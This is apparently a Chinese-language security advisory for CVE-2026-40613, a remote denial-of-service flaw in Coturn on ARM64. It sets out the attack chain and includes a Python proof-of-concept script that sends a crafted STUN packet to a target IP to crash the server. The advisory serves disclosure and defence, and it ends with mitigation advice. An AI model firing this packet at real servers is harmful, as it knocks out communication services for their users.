IPBUF安全漏洞报告
English
CVE-2026-40613 CVSS 7.5 高危

CVE-2026-40613:Coturn ARM64架构远程拒绝服务漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40613
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Coturn

相关标签

CVE-2026-40613CoturnDoSMemory AlignmentARM64STUNTURN

漏洞概述

Coturn是一款开源的TURN和STUN服务器实现。在4.10.0版本之前,其STUN/TURN属性解析函数在ns_turn_msg.c中存在不安全的指针强制转换,且缺乏必要的对齐检查。当处理特制的STUN消息时,会在ARM64架构上触发未对齐的内存读取,引发SIGBUS信号,导致服务进程崩溃。未经身份认证的远程攻击者可利用此漏洞通过发送单个UDP数据包使服务拒绝服务。

技术细节

该漏洞的根本原因在于Coturn的STUN/TURN属性解析函数中存在指针类型转换的不安全操作。具体位于ns_turn_msg.c文件,代码直接将uint8_t *指针强制转换为uint16_t *进行解引用,且未插入必要的内存对齐检查。在x86架构上,未对齐内存访问通常由硬件容忍,但在ARM64(AArch64)架构下,若操作系统或硬件启用了严格对齐策略,这种操作会触发硬件异常,产生SIGBUS信号。由于Coturn未捕获该信号,导致turnserver进程立即退出。攻击者无需经过身份验证,只需向目标服务器发送一个精心构造的、包含奇数对齐边界的STUN UDP数据包,即可远程触发崩溃,造成服务不可用。

攻击链分析

STEP 1
步骤1:侦察阶段
攻击者扫描网络中开放标准STUN/TURN端口(默认3478)的服务,识别Coturn服务实例。
STEP 2
步骤2:构造载荷
攻击者利用脚本构造一个特殊的STUN Binding Request数据包,在数据包中插入特定的填充字节,使得后续的属性头部在内存中位于奇数地址边界。
STEP 3
步骤3:发送攻击包
攻击者通过UDP协议将构造好的恶意数据包发送给目标Coturn服务器。
STEP 4
步骤4:触发漏洞
Coturn服务器解析数据包时,ns_turn_msg.c中的指针转换代码尝试从奇数地址读取uint16_t数据。在ARM64架构上,这触发SIGBUS硬件异常,导致turnserver进程立即崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # CVE-2026-40613 PoC: Coturn ARM64 Misaligned Access DoS # Target: Coturn < 4.10.0 on ARM64 def create_malformed_stun_packet(): # STUN Message Header: Type (0x0001 Binding Request), Length, Magic Cookie, Transaction ID msg_type = 0x0001 magic_cookie = 0x2112A442 trans_id = b'\x00' * 12 # Dummy Transaction ID # To trigger misalignment, we add a pad byte before the attribute # Normally attributes are aligned on 4-byte boundaries. # We craft the message such that the attribute parser reads from an odd address. # Attribute Header: Type (0x0001), Length attr_type = 0x0001 attr_len = 0x0000 # Construct header header = struct.pack('!HHI12s', msg_type, 0, magic_cookie, trans_id) # Construct payload with padding to force misalignment # The vulnerability occurs when reading the attribute type/length from an odd offset payload = struct.pack('!B', 0x00) # Padding byte payload += struct.pack('!HH', attr_type, attr_len) # Recalculate message length (header + padding + attribute header) msg_len = len(payload) # Rebuild header with correct length final_header = struct.pack('!HHI12s', msg_type, msg_len, magic_cookie, trans_id) return final_header + payload def send_packet(target_ip, target_port=3478): sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malformed_stun_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed STUN packet sent to {target_ip}:{target_port}") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2026_40613.py <target_ip>") else: send_packet(sys.argv[1])

影响范围

Coturn < 4.10.0

防御指南

临时缓解措施
建议在网络防火墙层面限制UDP 3478端口的访问来源,仅允许可信的内网或特定IP地址连接。如果无法立即升级,可考虑暂时关闭Coturn服务或切换到x86架构部署以规避此特定风险(直到补丁应用)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表